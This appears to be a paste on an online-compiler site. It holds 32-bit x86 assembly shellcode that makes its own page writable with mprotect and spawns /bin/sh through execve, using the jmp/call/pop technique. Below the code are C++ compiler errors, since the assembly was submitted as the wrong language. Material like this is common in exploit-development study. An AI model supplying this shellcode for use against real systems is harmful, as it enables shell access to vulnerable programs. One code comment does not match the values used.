fork download
  1. BITS 32
  2.  
  3. section .text
  4. global _start
  5.  
  6. _start:
  7. jmp short two
  8. one:
  9. ; mprotect (_start, 4096, 0x02)
  10. mov eax, 125
  11. mov ebx, _start
  12. and ebx, 0xFFFFF000
  13. mov ecx, 8192
  14. mov edx, 7
  15. int 0x80
  16.  
  17. pop ebx
  18. xor eax, eax
  19. mov [ebx + 7], al
  20. mov [ebx + 8], ebp
  21. mov [ebx + 12], eax
  22. lea ecx, [ebp + 8]
  23. lea edx, [ebp + 12]
  24. mov al, 11
  25. int 0x80
  26. ; exit(0)
  27. ;mov al, 1
  28. ;xor ebx, ebx
  29. ;int 0x80
  30. two:
  31. call one
  32. db '/bin/shXAAAABBBB'
  33.  
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.cpp:32:6: warning: character constant too long for its type
   db '/bin/shXAAAABBBB'
      ^
prog.cpp:1:1: error: 'BITS' does not name a type
 BITS 32
 ^
prog.cpp:9:14: error: expected constructor, destructor, or type conversion before '(' token
   ; mprotect (_start, 4096, 0x02)
              ^
prog.cpp:26:9: error: expected constructor, destructor, or type conversion before '(' token
   ; exit(0)
         ^
prog.cpp:27:4: error: 'mov' does not name a type
   ;mov al, 1
    ^
prog.cpp:28:4: error: expected unqualified-id before 'xor' token
   ;xor ebx, ebx
    ^
prog.cpp:29:8: error: expected unqualified-id before numeric constant
   ;int 0x80
        ^
stdout
Standard output is empty